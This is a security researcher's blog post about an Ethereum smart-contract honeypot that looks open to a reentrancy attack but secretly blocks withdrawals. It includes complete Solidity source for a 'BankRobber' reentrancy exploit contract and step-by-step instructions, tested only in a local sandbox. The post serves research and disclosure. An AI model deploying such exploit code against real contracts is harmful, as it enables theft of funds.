Malware on the blockchain

Pwn or get pwned? I found a smart contract honeypot. This deceptive piece of code is designed to look vulnerable but lures you into giving away your money.


Introduction into Ethereum Smart Contracts

For some it's just online banking with a 107 GB swap file, for others it's the future of finance. Cryptocurrencies like Bitcoin and Ethereum have grown in popularity as well as in features. The irreversibility of transactions, the sheer amount of money handled and a constantly growing set of features make for an excellent target for some security research.

But where to start? It's always a question of: What would the bad guys do? Sureley they would try to hack a smart contract. Smart contracts are a feature of Ethereum, where little programs written in a Javascript-like language called Solidity manage money, the largest smart contract, belonging to the Bitfinex Exchange, holds a value equivalent to roughly $900M. There are some caveats. In June 2016, an unknown individual for example exploited a combination of vulnerabilities in a smart contract known as The DAO. Tokens valued $50M were transferred, but not as intened by the original programmes.

Now are there vulnerabilities in the largest smart contracts? If there were, they were hard to find, since obviously the accounts still have money in it, so they have not yet been exploited. Vulnerable smart contracts are a race against the clock. The first one to exploit the vulnerability gets the money. So it would be clever to look at the newly created smart contracts. Conveniently, etherscan.io has a list of them together with the respective source code. After reading through the list for some hours, something caught my attention.

A vulnerable smart contract

I stumbled across this smart contract. Created just a few hours ago and with a balance of 10 Ether (not millions, but worth at least $2,400), this contract was obviously written by an amateur. It was supposed to be a smart bank that allowed you to deposit Ether, which were only to be released after a certain time has passed, but it had a serious bug.

The same type of vulnerability was used to drain $50M from the DAO. I spotted what is called a reentry vulnerability, an attack which works as follows: A smart contract can send you money. Usually to your account, but you can also call that smart contract (let's call it V for Victim) from another smart contract (let's call it A for attacker). When your smart contract (A) then receives money from (V), the attackers code (A) is invoked again. Now if that code calls back into the victim smart contract (V) to send money again, before the victim (V) could write down your new balance, you can take more than you have. So (A) calls (V), calls (A), calls (V) and so on, until you are rich and the bank is bankrupt.

But does the smart contract really have that issue? Let's have a look at the code and first discuss, what it is supposed to do, before discussing, what it really does.

/* Code of Smart Contract 0x8897fc893570ce05db621f70d2d4a26d38ad57e9 found on Etherscan.io on 2020-06-10 */

contract q_bank
{
    function Put(uint _unlockTime)
    public
    payable
    {
        var acc = Acc[msg.sender];
        acc.balance += msg.value;
        acc.unlockTime = _unlockTime>now?_unlockTime:now;
        LogFile.AddMessage(msg.sender,msg.value,"Put");
    }

    function Collect(uint _am)
    public
    payable
    {
        var acc = Acc[msg.sender];
        if( acc.balance>=MinSum && acc.balance>=_am && now>acc.unlockTime)
        {
            if(msg.sender.call.value(_am)())
            {
                acc.balance-=_am;
                LogFile.AddMessage(msg.sender,_am,"Collect");
            }
        }
    }

    function() 
    public 
    payable
    {
        Put(0);
    }

    struct Holder   
    {
        uint unlockTime;
        uint balance;
    }

    mapping (address => Holder) public Acc;

    Log LogFile;

    uint public MinSum = 1 ether;    

    function q_bank(address log) public{
        LogFile = Log(log);
    }
}


contract Log 
{
    struct Message
    {
        address Sender;
        string  Data;
        uint Val;
        uint  Time;
    }

    Message[] public History;

    Message LastMsg;

    function AddMessage(address _adr,uint _val,string _data)
    public
    {
        LastMsg.Sender = _adr;
        LastMsg.Time = now;
        LastMsg.Val = _val;
        LastMsg.Data = _data;
        History.push(LastMsg);
    }
}

There are two functions in q_bank:

    function Put(uint _unlockTime)
    public
    payable
    {
        var acc = Acc[msg.sender];
        acc.balance += msg.value;
        acc.unlockTime = _unlockTime>now?_unlockTime:now;
        LogFile.AddMessage(msg.sender,msg.value,"Put");
    }

The function Put can receive a parameter _unlockTime and any amount of money (Ethers in this case). The money is deposited into the smart contract and the deposited amount is written into a directory of holdings (Acc), which contains how much money the sender has deposited and when it will be available for withdrawal. Of course, withdrawal times cannot be in the past.

    function Collect(uint _am)
    public
    payable
    {
        var acc = Acc[msg.sender];
        if( acc.balance>=MinSum && acc.balance>=_am && now>acc.unlockTime)
        {
            if(msg.sender.call.value(_am)())
            {
                acc.balance-=_am;
                LogFile.AddMessage(msg.sender,_am,"Collect");
            }
        }
    }

The Collect function then allows to withdraw the money. It also can receive money (maybe by mistake), and it only allows withdrawals after the unlockTime has expired. Also, the amount needs to be greater than 1 Ether (about $240). And, if you don't have deposited at least the withdrawal amount, you are not allowed to withdraw. If you withdraw any amount, the amount is deducted from your holdings.

    function() 
    public 
    payable
    {
        Put(0);
    }

And then, there is fallback function (function()), which is invoked if the contract receives money without any function calls. It just deposits the money into your account by invoking the Put function. By setting the _unlockTime parameter to zero, withdrawals are allowed starting the next second.

The contract had been created in three transactions. First a Log contract has been created, which just seems to write Logs into the blockchain (we will discuss that later). Then the q_bank contract has been created, which links to the Log contract. And finally, there were 10 Ethers transferred into the bank account (which, at the time of writing are worth about $2,400).

Crafting the attack

Now, there is a reentry vulnerability as described earlier. The issue is, that if you withdraw money using the Collect function, then msg.sender.call(_am)() transfers _am Ethers to you (actually the amount is in wei, which are the smallest denomination of Ethers, but that does not matter for our purposes). If you call the contract from another contract msg.sender.call invokes your receive() function. Because your holdings are only adjusted after the function returns (acc.balance-=_am), if your receive() function calls into Collect again, you can withdraw twice the amount on your account. If you call more often, you can empty the whole bank.

The important part is, for the attack to work, you need to deposit one Ether first. Anything less will not work, because the bank does not allow withdrawals less than one Ether. And you are only allowed to withdraw it in the next block, due to the unlockTime parameter.

I wanted to try the attack in a sandbox environment. The easiest way to develop and test smart contracts at the time of writing is the Remix IDE. It comes with a solidity compiler, a debugger and a toy blockchain, all in your browser. However, it constantly crashed by machine with out of memory errors and high CPU load. I found out that it works better, when the toy blockchain is instead running on my machine, for that I used Ganache and connected it to Remix using the Web3 Provider option.

There I deployed the Log contract, the q_bank contract and finally my own BankRobber contract whose sole purpose it was to empty the bank.

//SPDX-License-Identifier: YGPL <You get pwned license> 1.0 
pragma solidity ^0.6.9;

/*
 * @dev Markus Fenske - exablue GmbH
 */
contract BankRobber {
  IdiotBankInterface bank;
  address payable owner;
  uint reentryCounter = 0;

  function grabAndRun() external {
    require(msg.sender == owner);
    msg.sender.transfer(address(this).balance);
  }

  function depositToBank() external payable {
    require(msg.value == 1 ether, "Needs to be 1 ETH");
    bank.Put.value(1 ether)(0);
  }

  function pwnBank() external {
    state = 0;
    bank.Collect(1 ether);
  }

  function balance() external view returns(uint) {
    return address(this).balance;
  }

  // Reentry exploit
  uint state;
  receive() external payable {
    if(state < 10) {
      state++;
      bank.Collect(1 ether);
    }
  }

  fallback() external payable {
      require(1 == 0, "Fallback called");
  }

  constructor(address _bankAddress) public payable {
      bank = IdiotBankInterface(_bankAddress);
      owner = msg.sender;
  }
}

interface IdiotBankInterface {
  function Put(uint _unlockTime) external payable;
  function Collect(uint _am) external payable;
}

The bank robbery works in four transactions:

  1. Deploy the BankRobber smart contract and specify the address of the q_bank contract.
  2. Send 1 Ether to the depositToBank() function, which deposits the Ether into the bank. In this place, we cannot directly withdraw the money, because the Collect function in the q_bank contract checks if now>acc.unlockTime, while the Put function allows for no value bigger than now. Because now is always the mining time of the current block, we need a second transaction to empty the bank.
  3. Call pwnBank(), this calls into Collect, which then sends 1 Ether, which calls receive(), which then again recursively calls Collect, which then again calls receive(), which repeats 10 times and then, the bank is empty and our account has a balance of -10 Ether.
  4. Call grabAndRun() to transfer the money to the contract owner.

And indeed, in the testing environment, it works perfectly. Minus transaction costs (those repeated calls are expensive), I am up 9.96 Ether.

To pwn or not to pwn?

It surely would be unethical to run the BankRobber on the mainnet (the production blockchain). But would it work? Could someone really be this dumb? Or was this all just a trap? I followed the transaction links to the account that created the contract and it turns out: Whoever did this, they do that roughly every two weeks (2020-05-27, 2020-05-13, 2020-04-27, and so on). They are not dumb. It's a cleverly created deception.

The Log contract seen above looks rather harmless. All it does is saving the messages given to AddMessage() to the history. But the Log contract deployed on the blockchain does not match that code. Instead, it does something else. I quickly decompiled it using the Panoramix EVM decompiler (conveniently included into Etherscan) and found the following code:

def storage:
  stor0 is array of struct at storage 0
  stor1 is addr at storage 1
  stor2 is array of uint256 at storage 2
  stor3 is uint256 at storage 3
  stor4 is uint256 at storage 4
  stor5 is addr at storage 5
  stor6 is addr at storage 6
  stor7 is addr at storage 7

  # ...

def AddMessage(address _adr, uint256 _val, string _data): # not payable

  # ...

  if caller == stor5:
      if stor7 != _adr:
          if stor6 != tx.origin:
              require 0 < _data.length
              if 'C' == Mask(8, 248, mem[128]):
                  require _val <= 0

I didn't bother to explicitly check the variables, but it seems that stor5 contains the address of the q_bank contract, stor7 contains the creator of the contract, stor6 is the same, _data contains the log message, which is also written to mem and has to begin with a C. If all is met, the transaction amount _val has to be below (which is impossible) or be zero. Or in plain words: Nobody else than the contract owner is allowed to withdraw money. If you try, the call to require() issues a REVERT opcode. Nothing is written to the blockchain and your transaction costs are gone. But of course your are still allowed to deposit money.

The contract is designed to look exploitable and to lure you into sending one Ether. The only one allowed to exploit the vulnerability is the contract owner. It's a trap!

Luckily nobody fell for it. Yet.

Timeline

Resources

  1. The list of recently verified smart contracts: Etherscan.io, verified smart contracts
  2. The deceptive smart contract q_bank: Etherscan.io, contract address 0x8897fc893570ce05db621f70d2d4a26d38ad57e9.
  3. The deceptive smart contract 'Log': Etherscan.io contract address 0x99a377d3441fd69e09a3e9ffdebdda3de3fdab93
  4. Remix: The in-browser Solidity IDE comes with a compiler, EVM debugger and blockchain emulation: Remix IDE.
  5. Ganache Ethereum Blockchain Emulator: Ganache